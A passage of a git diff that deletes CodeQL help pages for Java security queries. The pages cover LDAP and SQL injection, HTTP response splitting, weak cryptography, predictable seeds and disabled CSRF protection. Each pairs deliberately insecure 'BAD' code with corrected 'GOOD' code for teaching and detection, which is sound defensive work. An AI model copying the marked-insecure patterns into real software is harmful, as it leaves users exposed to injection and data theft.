http://insecure-repository.example - - - - - insecure-plugins - Insecure Repository Releases - - http://insecure-repository.example - - - - -``` - -```xml - - - - 4.0.0 - - com.semmle - parent - 1.0 - pom - - Security Testing - An example of secure download and upload of dependencies - - - - insecure-releases - Secure Repository Releases - - https://insecure-repository.example - - - insecure-snapshots - Secure Repository Snapshots - - https://insecure-repository.example - - - - - insecure - Secure Repository - - https://insecure-repository.example - - - - - insecure-plugins - Secure Repository Releases - - https://insecure-repository.example - - - - -``` - -## References -* Research: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://medium.com/bugbountywriteup/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) -* Research: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/) -* Proof of Concept: [ mveytsman/dilettante ](https://github.com/mveytsman/dilettante) -* Additional Gradle & Maven plugin: [ Announcing nohttp ](https://spring.io/blog/2019/06/10/announcing-nohttp) -* Java Ecosystem Announcement: [ HTTP Decommission Artifact Server Announcements ](https://gist.github.com/JLLeitschuh/789e49e3d34092a005031a0a1880af99) -* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html). -* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html). -* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html). -* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/java/IntMultToLong.md b/docs/language/query-help/java/IntMultToLong.md deleted file mode 100644 index 3de141c4a3b..00000000000 --- a/docs/language/query-help/java/IntMultToLong.md +++ /dev/null @@ -1,43 +0,0 @@ -# Result of multiplication cast to wider type - -``` -ID: java/integer-multiplication-cast-to-long -Kind: problem -Severity: warning -Precision: very-high -Tags: reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Arithmetic/IntMultToLong.ql) - -An integer multiplication that is assigned to a variable of type `long` or returned from a method with return type `long` may cause unexpected arithmetic overflow. - - -## Recommendation -Casting to type `long` before multiplying reduces the risk of arithmetic overflow. - - -## Example -In the following example, the multiplication expression assigned to `j` causes overflow and results in the value `-1651507200` instead of `4000000000000000000`. - - -```java -int i = 2000000000; -long j = i*i; // causes overflow -``` -In the following example, the assignment to `k` correctly avoids overflow by casting one of the operands to type `long`. - - -```java -int i = 2000000000; -long k = i*(long)i; // avoids overflow -``` - -## References -* J. Bloch and N. Gafter, *Java Puzzlers: Traps, Pitfalls, and Corner Cases*, Puzzle 3. Addison-Wesley, 2005. -* The Java Language Specification: [Multiplication Operator](http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.17.1). -* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). -* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/LdapInjection.md b/docs/language/query-help/java/LdapInjection.md deleted file mode 100644 index 760de481db4..00000000000 --- a/docs/language/query-help/java/LdapInjection.md +++ /dev/null @@ -1,142 +0,0 @@ -# LDAP query built from user-controlled sources - -``` -ID: java/ldap-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-090 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-090/LdapInjection.ql) - -If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. - - -## Recommendation -If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible build the LDAP query using framework helper methods, for example from Spring's `LdapQueryBuilder` and `LdapNameBuilder`, instead of string concatenation. Alternatively, escape user input using an appropriate LDAP encoding method, for example: `encodeForLDAP` or `encodeForDN` from OWASP ESAPI, `LdapEncoder.filterEncode` or `LdapEncoder.nameEncode` from Spring LDAP, or `Filter.encodeValue` from UnboundID library. - - -## Example -In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP. - -The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. The LDAP query is executed using Java JNDI API. - -The second example uses the OWASP ESAPI library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. - - -```java -import javax.naming.directory.DirContext; -import org.owasp.esapi.Encoder; -import org.owasp.esapi.reference.DefaultEncoder; - -public void ldapQueryBad(HttpServletRequest request, DirContext ctx) throws NamingException { - String organizationName = request.getParameter("organization_name"); - String username = request.getParameter("username"); - - // BAD: User input used in DN (Distinguished Name) without encoding - String dn = "OU=People,O=" + organizationName; - - // BAD: User input used in search filter without encoding - String filter = "username=" + userName; - - ctx.search(dn, filter, new SearchControls()); -} - -public void ldapQueryGood(HttpServletRequest request, DirContext ctx) throws NamingException { - String organizationName = request.getParameter("organization_name"); - String username = request.getParameter("username"); - - // ESAPI encoder - Encoder encoder = DefaultEncoder.getInstance(); - - // GOOD: Organization name is encoded before being used in DN - String safeOrganizationName = encoder.encodeForDN(organizationName); - String safeDn = "OU=People,O=" + safeOrganizationName; - - // GOOD: User input is encoded before being used in search filter - String safeUsername = encoder.encodeForLDAP(username); - String safeFilter = "username=" + safeUsername; - - ctx.search(safeDn, safeFilter, new SearchControls()); -} -``` -The third example uses Spring `LdapQueryBuilder` to build an LDAP query. In addition to simplifying the building of complex search parameters, it also provides proper escaping of any unsafe characters in search filters. The DN is built using `LdapNameBuilder`, which also provides proper escaping. - - -```java -import static org.springframework.ldap.query.LdapQueryBuilder.query; -import org.springframework.ldap.support.LdapNameBuilder; - -public void ldapQueryGood(@RequestParam String organizationName, @RequestParam String username) { - // GOOD: Organization name is encoded before being used in DN - String safeDn = LdapNameBuilder.newInstance() - .add("O", organizationName) - .add("OU=People") - .build().toString(); - - // GOOD: User input is encoded before being used in search filter - LdapQuery query = query() - .base(safeDn) - .where("username").is(username); - - ldapTemplate.search(query, new AttributeCheckAttributesMapper()); -} -``` -The fourth example uses `UnboundID` classes, `Filter` and `DN`, to construct a safe filter and base DN. - - -```java -import com.unboundid.ldap.sdk.LDAPConnection; -import com.unboundid.ldap.sdk.DN; -import com.unboundid.ldap.sdk.RDN; -import com.unboundid.ldap.sdk.Filter; - -public void ldapQueryGood(HttpServletRequest request, LDAPConnection c) { - String organizationName = request.getParameter("organization_name"); - String username = request.getParameter("username"); - - // GOOD: Organization name is encoded before being used in DN - DN safeDn = new DN(new RDN("OU", "People"), new RDN("O", organizationName)); - - // GOOD: User input is encoded before being used in search filter - Filter safeFilter = Filter.createEqualityFilter("username", username); - - c.search(safeDn.toString(), SearchScope.ONE, safeFilter); -} -``` -The fifth example shows how to build a safe filter and DN using the Apache LDAP API. - - -```java -import org.apache.directory.ldap.client.api.LdapConnection; -import org.apache.directory.api.ldap.model.name.Dn; -import org.apache.directory.api.ldap.model.name.Rdn; -import org.apache.directory.api.ldap.model.message.SearchRequest; -import org.apache.directory.api.ldap.model.message.SearchRequestImpl; -import static org.apache.directory.ldap.client.api.search.FilterBuilder.equal; - -public void ldapQueryGood(HttpServletRequest request, LdapConnection c) { - String organizationName = request.getParameter("organization_name"); - String username = request.getParameter("username"); - - // GOOD: Organization name is encoded before being used in DN - Dn safeDn = new Dn(new Rdn("OU", "People"), new Rdn("O", organizationName)); - - // GOOD: User input is encoded before being used in search filter - String safeFilter = equal("username", username); - - SearchRequest searchRequest = new SearchRequestImpl(); - searchRequest.setBase(safeDn); - searchRequest.setFilter(safeFilter); - c.search(searchRequest); -} -``` - -## References -* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). -* OWASP ESAPI: [OWASP ESAPI](https://owasp.org/www-project-enterprise-security-api/). -* Spring LdapQueryBuilder doc: [LdapQueryBuilder](https://docs.spring.io/spring-ldap/docs/current/apidocs/org/springframework/ldap/query/LdapQueryBuilder.html). -* Spring LdapNameBuilder doc: [LdapNameBuilder](https://docs.spring.io/spring-ldap/docs/current/apidocs/org/springframework/ldap/support/LdapNameBuilder.html). -* UnboundID: [Understanding and Defending Against LDAP Injection Attacks](https://ldap.com/2018/05/04/understanding-and-defending-against-ldap-injection-attacks/). -* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md b/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md deleted file mode 100644 index a6a9a51f529..00000000000 --- a/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md +++ /dev/null @@ -1,44 +0,0 @@ -# Use of a potentially broken or risky cryptographic algorithm - -``` -ID: java/potentially-weak-cryptographic-algorithm -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-327/MaybeBrokenCryptoAlgorithm.ql) - -Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. - -Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. - - -## Recommendation -Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. - - -## Example -The following code shows an example of using a java `Cipher` to encrypt some data. When creating a `Cipher` instance, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. - - -```java -// BAD: DES is a weak algorithm -Cipher des = Cipher.getInstance("DES"); -cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec); - -byte[] encrypted = cipher.doFinal(input.getBytes("UTF-8")); - -// ... - -// GOOD: AES is a strong algorithm -Cipher des = Cipher.getInstance("AES"); - -// ... -``` - -## References -* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). -* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/java/NettyResponseSplitting.md b/docs/language/query-help/java/NettyResponseSplitting.md deleted file mode 100644 index e155167ef9a..00000000000 --- a/docs/language/query-help/java/NettyResponseSplitting.md +++ /dev/null @@ -1,72 +0,0 @@ -# Disabled Netty HTTP header validation - -``` -ID: java/netty-http-response-splitting -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-113 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-113/NettyResponseSplitting.ql) - -Directly writing user input (for example, an HTTP request parameter) to an HTTP header can lead to an HTTP response-splitting vulnerability. If the user input includes blank lines in it, and if the servlet container does not itself escape the blank lines, then a remote user can cause the response to turn into two separate responses, one of which is controlled by the remote user. - - -## Recommendation -Guard against HTTP header splitting in the same way as guarding against cross-site scripting. Before passing any data into HTTP headers, either check the data for special characters, or escape any special characters that are present. - - -## Example -The following example shows the 'name' parameter being written to a cookie in two different ways. The first way writes it directly to the cookie, and thus is vulnerable to response-splitting attacks. The second way first removes all special characters, thus avoiding the potential problem. - - -```java -public class ResponseSplitting extends HttpServlet { - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - // BAD: setting a cookie with an unvalidated parameter - Cookie cookie = new Cookie("name", request.getParameter("name")); - response.addCookie(cookie); - - // GOOD: remove special characters before putting them in the header - String name = removeSpecial(request.getParameter("name")); - Cookie cookie2 = new Cookie("name", name); - response.addCookie(cookie2); - } - - private static String removeSpecial(String str) { - return str.replaceAll("[^a-zA-Z ]", ""); - } -} - -``` - -## Example -The following example shows the use of the library 'netty' with HTTP response-splitting verification configurations. The second way will verify the parameters before using them to build the HTTP response. - - -```java -import io.netty.handler.codec.http.DefaultHttpHeaders; - -public class ResponseSplitting { - // BAD: Disables the internal response splitting verification - private final DefaultHttpHeaders badHeaders = new DefaultHttpHeaders(false); - - // GOOD: Verifies headers passed don't contain CRLF characters - private final DefaultHttpHeaders goodHeaders = new DefaultHttpHeaders(); - - // BAD: Disables the internal response splitting verification - private final DefaultHttpResponse badResponse = new DefaultHttpResponse(version, httpResponseStatus, false); - - // GOOD: Verifies headers passed don't contain CRLF characters - private final DefaultHttpResponse goodResponse = new DefaultHttpResponse(version, httpResponseStatus); -} - -``` - -## References -* InfosecWriters: [HTTP response splitting](http://www.infosecwriters.com/Papers/DCrab_HTTP_Response.pdf). -* OWASP: [HTTP Response Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting). -* Wikipedia: [HTTP response splitting](http://en.wikipedia.org/wiki/HTTP_response_splitting). -* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git a/docs/language/query-help/java/NumericCastTainted.md b/docs/language/query-help/java/NumericCastTainted.md deleted file mode 100644 index 6b32ad27e8f..00000000000 --- a/docs/language/query-help/java/NumericCastTainted.md +++ /dev/null @@ -1,64 +0,0 @@ -# User-controlled data in numeric cast - -``` -ID: java/tainted-numeric-cast -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-197 external/cwe/cwe-681 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-681/NumericCastTainted.ql) - -Casting a user-controlled numeric value to a narrower type can result in truncated values unless the input is validated. - -Narrowing conversions may cause potentially unintended results. For example, casting the positive integer value `128` to type `byte` yields the negative value `-128`. - - -## Recommendation -Guard against unexpected truncation of user-controlled arithmetic data by doing one of the following: - -* Validate the user input. -* Define a guard on the cast expression, so that the cast is performed only if the input is known to be within the range of the resulting type. -* Avoid casting to a narrower type, and instead continue to use a wider type. - -## Example -In this example, a value is read from standard input into a `long`. Because the value is a user-controlled value, it could be extremely large. Casting this value to a narrower type could therefore cause unexpected truncation. The `scaled2` example uses a guard to avoid this problem and checks the range of the input before performing the cast. If the value is too large to cast to type `int` it is rejected as invalid. - - -```java -class Test { - public static void main(String[] args) throws IOException { - { - long data; - - BufferedReader readerBuffered = new BufferedReader( - new InputStreamReader(System.in, "UTF-8")); - String stringNumber = readerBuffered.readLine(); - if (stringNumber != null) { - data = Long.parseLong(stringNumber.trim()); - } else { - data = 0; - } - - // AVOID: potential truncation if input data is very large, - // for example 'Long.MAX_VALUE' - int scaled = (int)data; - - //... - - // GOOD: use a guard to ensure no truncation occurs - int scaled2; - if (data > Integer.MIN_VALUE && data < Integer.MAX_VALUE) - scaled2 = (int)data; - else - throw new IllegalArgumentException("Invalid input"); - } - } -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [NUM12-J. Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data](https://www.securecoding.cert.org/confluence/display/java/NUM12-J.+Ensure+conversions+of+numeric+types+to+narrower+types+do+not+result+in+lost+or+misinterpreted+data). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). -* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/PotentiallyDangerousFunction.md b/docs/language/query-help/java/PotentiallyDangerousFunction.md deleted file mode 100644 index 219a6a77282..00000000000 --- a/docs/language/query-help/java/PotentiallyDangerousFunction.md +++ /dev/null @@ -1,50 +0,0 @@ -# Use of a potentially dangerous function - -``` -ID: java/potentially-dangerous-function -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-676 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-676/PotentiallyDangerousFunction.ql) - -This rule finds calls to methods that are dangerous to use. Currently, it checks for calls to `Thread.stop`. - -Stopping a thread with `Thread.stop` causes it to receive a `ThreadDeath` exception. That exception propagates up the stack, releasing all monitors that the thread was holding. In some cases the relevant code will be protected by catching the `ThreadDeath` exception and cleaning up, but because the exception can potentially be thrown from so very many locations, it is impractical to catch all such cases. As a result, calling `Thread.stop` is likely to result in corrupt data. - - -## Recommendation -The best solution is usually to provide an alternate communication mechanism for the thread that might need to be interrupted early. For example, Oracle gives the following example of using a volatile variable to communicate whether the worker thread should exit: - - -```java -private volatile Thread blinker; - -public void stop() { - blinker = null; -} - -public void run() { - Thread thisThread = Thread.currentThread(); - while (blinker == thisThread) { - try { - Thread.sleep(interval); - } catch (InterruptedException e){ - } - repaint(); - } -} - -``` -It is also possible to use `Thread.interrupt` and to catch and handle `InterruptedException` when it occurs. However, it can be difficult to handle an `InterruptedException` everywhere it might occur; for example, the sample code above simply discards the exception rather than actually exiting the thread. - -Another strategy is to use message passing, for example via a `BlockingQueue`. In addition to passing the worker thread its ordinary work via such a message queue, the worker can be asked to exit by a particular kind of message being sent on the queue. - - -## References -* The CERT Oracle Secure Coding Standard for Java: [THI05-J. Do not use Thread.stop() to terminate threads](https://www.securecoding.cert.org/confluence/display/java/THI05-J.+Do+not+use+Thread.stop%28%29+to+terminate+threads). -* Java SE Documentation: [Java Thread Primitive Deprecation](http://docs.oracle.com/javase/7/docs/technotes/guides/concurrency/threadPrimitiveDeprecation.html). -* Java API: [Thread.interrupt](http://docs.oracle.com/javase/7/docs/api/java/lang/Thread.html#interrupt()), [BlockingQueue](http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/BlockingQueue.html). -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/java/PredictableSeed.md b/docs/language/query-help/java/PredictableSeed.md deleted file mode 100644 index b1f12cc965c..00000000000 --- a/docs/language/query-help/java/PredictableSeed.md +++ /dev/null @@ -1,46 +0,0 @@ -# Use of a predictable seed in a secure random number generator - -``` -ID: java/predictable-seed -Kind: problem -Severity: error -Precision: high -Tags: security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-335/PredictableSeed.ql) - -Using a predictable seed in a pseudo-random number generator can lead to predictability of the numbers generated by it. - - -## Recommendation -If the predictability of the pseudo-random number generator does not matter then consider using the faster `Random` class from `java.util`. If it is important that the pseudo-random number generator produces completely unpredictable values then either let the generator securely seed itself by not specifying a seed or specify a randomly generated, unpredictable seed. - - -## Example -In the first example shown here, a constant value is used as a seed. Depending on the implementation of ` SecureRandom`, this could lead to the same random number being generated each time the code is executed. - -In the second example shown here, the system time is used as a seed. Depending on the implementation of ` SecureRandom`, if an attacker knows what time the code was run, they could predict the generated random number. - -In the third example shown here, the random number generator is allowed to generate its own seed, which it will do in a secure way. - - -```java -SecureRandom prng = new SecureRandom(); -int randomData = 0; - -// BAD: Using a constant value as a seed for a random number generator means all numbers it generates are predictable. -prng.setSeed(12345L); -randomData = prng.next(32); - -// BAD: System.currentTimeMillis() returns the system time which is predictable. -prng.setSeed(System.currentTimeMillis()); -randomData = prng.next(32); - -// GOOD: SecureRandom implementations seed themselves securely by default. -prng = new SecureRandom(); -randomData = prng.next(32); - -``` - -## References \ No newline at end of file diff --git a/docs/language/query-help/java/ReadingFromWorldWritableFile.md b/docs/language/query-help/java/ReadingFromWorldWritableFile.md deleted file mode 100644 index f349e033c4b..00000000000 --- a/docs/language/query-help/java/ReadingFromWorldWritableFile.md +++ /dev/null @@ -1,44 +0,0 @@ -# Reading from a world writable file - -``` -ID: java/world-writable-file-read -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-732 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-732/ReadingFromWorldWritableFile.ql) - -Reading from a world-writable file is dangerous on a multi-user system because other users may be able to affect program execution by modifying or deleting the file. - - -## Recommendation -Do not make files explicitly world writable unless the file is intended to be written by multiple users on a multi-user system. In many cases, the file may only need to be writable for the current user. - -For some file systems, there may be alternatives to setting the file to be world writable. For example, POSIX file systems support "groups" which may be used to ensure that only subset of all the users can write to the file. Access Control Lists (ACLs) are available for many operating system and file system combinations, and can provide fine-grained read and write support without resorting to world writable permissions. - - -## Example -In the following example, we are loading some configuration parameters from a file: - -```java - -private void readConfig(File configFile) { - if (!configFile.exists()) { - // Create an empty config file - configFile.createNewFile(); - // Make the file writable for all - configFile.setWritable(true, false); - } - // Now read the config - loadConfig(configFile); -} - -``` -If the configuration file does not yet exist, an empty file is created. Creating an empty file can simplify the later code and is a convenience for the user. However, by setting the file to be world writable, we allow any user on the system to modify the configuration, not just the current user. If there may be untrusted users on the system, this is potentially dangerous. - - -## References -* The CERT Oracle Secure Coding Standard for Java: [FIO01-J. Create files with appropriate access permissions](https://www.securecoding.cert.org/confluence/display/java/FIO01-J.+Create+files+with+appropriate+access+permissions). -* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ResponseSplitting.md b/docs/language/query-help/java/ResponseSplitting.md deleted file mode 100644 index b86c2ae34ef..00000000000 --- a/docs/language/query-help/java/ResponseSplitting.md +++ /dev/null @@ -1,72 +0,0 @@ -# HTTP response splitting - -``` -ID: java/http-response-splitting -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-113 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-113/ResponseSplitting.ql) - -Directly writing user input (for example, an HTTP request parameter) to an HTTP header can lead to an HTTP response-splitting vulnerability. If the user input includes blank lines in it, and if the servlet container does not itself escape the blank lines, then a remote user can cause the response to turn into two separate responses, one of which is controlled by the remote user. - - -## Recommendation -Guard against HTTP header splitting in the same way as guarding against cross-site scripting. Before passing any data into HTTP headers, either check the data for special characters, or escape any special characters that are present. - - -## Example -The following example shows the 'name' parameter being written to a cookie in two different ways. The first way writes it directly to the cookie, and thus is vulnerable to response-splitting attacks. The second way first removes all special characters, thus avoiding the potential problem. - - -```java -public class ResponseSplitting extends HttpServlet { - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - // BAD: setting a cookie with an unvalidated parameter - Cookie cookie = new Cookie("name", request.getParameter("name")); - response.addCookie(cookie); - - // GOOD: remove special characters before putting them in the header - String name = removeSpecial(request.getParameter("name")); - Cookie cookie2 = new Cookie("name", name); - response.addCookie(cookie2); - } - - private static String removeSpecial(String str) { - return str.replaceAll("[^a-zA-Z ]", ""); - } -} - -``` - -## Example -The following example shows the use of the library 'netty' with HTTP response-splitting verification configurations. The second way will verify the parameters before using them to build the HTTP response. - - -```java -import io.netty.handler.codec.http.DefaultHttpHeaders; - -public class ResponseSplitting { - // BAD: Disables the internal response splitting verification - private final DefaultHttpHeaders badHeaders = new DefaultHttpHeaders(false); - - // GOOD: Verifies headers passed don't contain CRLF characters - private final DefaultHttpHeaders goodHeaders = new DefaultHttpHeaders(); - - // BAD: Disables the internal response splitting verification - private final DefaultHttpResponse badResponse = new DefaultHttpResponse(version, httpResponseStatus, false); - - // GOOD: Verifies headers passed don't contain CRLF characters - private final DefaultHttpResponse goodResponse = new DefaultHttpResponse(version, httpResponseStatus); -} - -``` - -## References -* InfosecWriters: [HTTP response splitting](http://www.infosecwriters.com/Papers/DCrab_HTTP_Response.pdf). -* OWASP: [HTTP Response Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting). -* Wikipedia: [HTTP response splitting](http://en.wikipedia.org/wiki/HTTP_response_splitting). -* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SocketAuthRace.md b/docs/language/query-help/java/SocketAuthRace.md deleted file mode 100644 index 4c7791290e5..00000000000 --- a/docs/language/query-help/java/SocketAuthRace.md +++ /dev/null @@ -1,49 +0,0 @@ -# Race condition in socket authentication - -``` -ID: java/socket-auth-race-condition -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-421 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-421/SocketAuthRace.ql) - -A common pattern is to have a channel of communication open with a user, and then to open another channel, for example to transfer data. However, if user authentication is done over the original channel rather than the alternate channel, then an attacker may be able to connect to the alternate channel before the legitimate user does. This allows the attacker to impersonate the user by "piggybacking" on any previous authentication. - - -## Recommendation -When opening an alternate channel for an authenticated user (for example, a Java `Socket`), always authenticate the user over the new channel. - - -## Example -This example shows two ways of opening a connection for a user. In the first example, authentication is determined based on materials that the user has already provided (for example, their username and/or password), and then a new channel is opened. However, no authentication is done over the new channel, and so an attacker could connect to it before the user connects. - -In the second example, authentication is done over the socket channel itself, which verifies that the newly connected user is in fact the user that was expected. - - -```java -public void doConnect(int desiredPort, String username) { - ServerSocket listenSocket = new ServerSocket(desiredPort); - - if (isAuthenticated(username)) { - Socket connection1 = listenSocket.accept(); - // BAD: no authentication over the socket connection - connection1.getOutputStream().write(secretData); - } -} - -public void doConnect(int desiredPort, String username) { - ServerSocket listenSocket = new ServerSocket(desiredPort); - - Socket connection2 = listenSocket.accept(); - // GOOD: authentication happens over the socket - if (doAuthenticate(connection2, username)) { - connection2.getOutputStream().write(secretData); - } -} -``` - -## References -* Common Weakness Enumeration: [CWE-421](https://cwe.mitre.org/data/definitions/421.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SpringCSRFProtection.md b/docs/language/query-help/java/SpringCSRFProtection.md deleted file mode 100644 index 5c43ea25786..00000000000 --- a/docs/language/query-help/java/SpringCSRFProtection.md +++ /dev/null @@ -1,48 +0,0 @@ -# Disabled Spring CSRF protection - -``` -ID: java/spring-disabled-csrf-protection -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-352 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-352/SpringCSRFProtection.ql) - -When you set up a web server to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it is vulnerable to attack. An attacker can trick a client into making an unintended request to the web server that will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution. - - -## Recommendation -When you use Spring, Cross-Site Request Forgery (CSRF) protection is enabled by default. Spring's recommendation is to use CSRF protection for any request that could be processed by a browser client by normal users. - - -## Example -The following example shows the Spring Java configuration with CSRF protection disabled. This type of configuration should only be used if you are creating a service that is used only by non-browser clients. - - -```java -import org.springframework.context.annotation.Configuration; -import org.springframework.security.config.annotation.web.builders.HttpSecurity; -import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; -import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; - -@EnableWebSecurity -@Configuration -public class WebSecurityConfig extends WebSecurityConfigurerAdapter { - @Override - protected void configure(HttpSecurity http) throws Exception { - http - .csrf(csrf -> - // BAD - CSRF protection shouldn't be disabled - csrf.disable() - ); - } -} - -``` - -## References -* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)). -* Spring Security Reference: [ Cross Site Request Forgery (CSRF) for Servlet Environments ](https://docs.spring.io/spring-security/site/docs/current/reference/html5/#servlet-csrf). -* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SqlTainted.md b/docs/language/query-help/java/SqlTainted.md deleted file mode 100644 index 9c4a07db586..00000000000 --- a/docs/language/query-help/java/SqlTainted.md +++ /dev/null @@ -1,122 +0,0 @@ -# Query built from user-controlled sources - -``` -ID: java/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-089/SqlTainted.ql) - -If a database query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. This applies to various database query languages, including SQL and the Java Persistence Query Language. - - -## Recommendation -Usually, it is better to use a SQL prepared statement than to build a complete SQL query with string concatenation. A prepared statement can include a wildcard, written as a question mark (?), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each wildcard in the query. - -In the Java Persistence Query Language, it is better to use queries with parameters than to build a complete query with string concatenation. A Java Persistence query can include a parameter placeholder for each part of the query that is expected to be filled in by a different value when run. A parameter placeholder may be indicated by a colon (:) followed by a parameter name, or by a question mark (?) followed by an integer position. When the query is later executed, a value must be supplied for each parameter in the query, using the `setParameter` method. Specifying the query using the `@NamedQuery` annotation introduces an additional level of safety: the query must be a constant string literal, preventing construction by string concatenation, and the only way to fill in values for parts of the query is by setting positional parameters. - -It is good practice to use prepared statements (in SQL) or query parameters (in the Java Persistence Query Language) for supplying parameter values to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. - - -## Example -In the following example, the code runs a simple SQL query in two different ways. - -The first way involves building a query, `query1`, by concatenating an environment variable with some string literals. The environment variable can include special 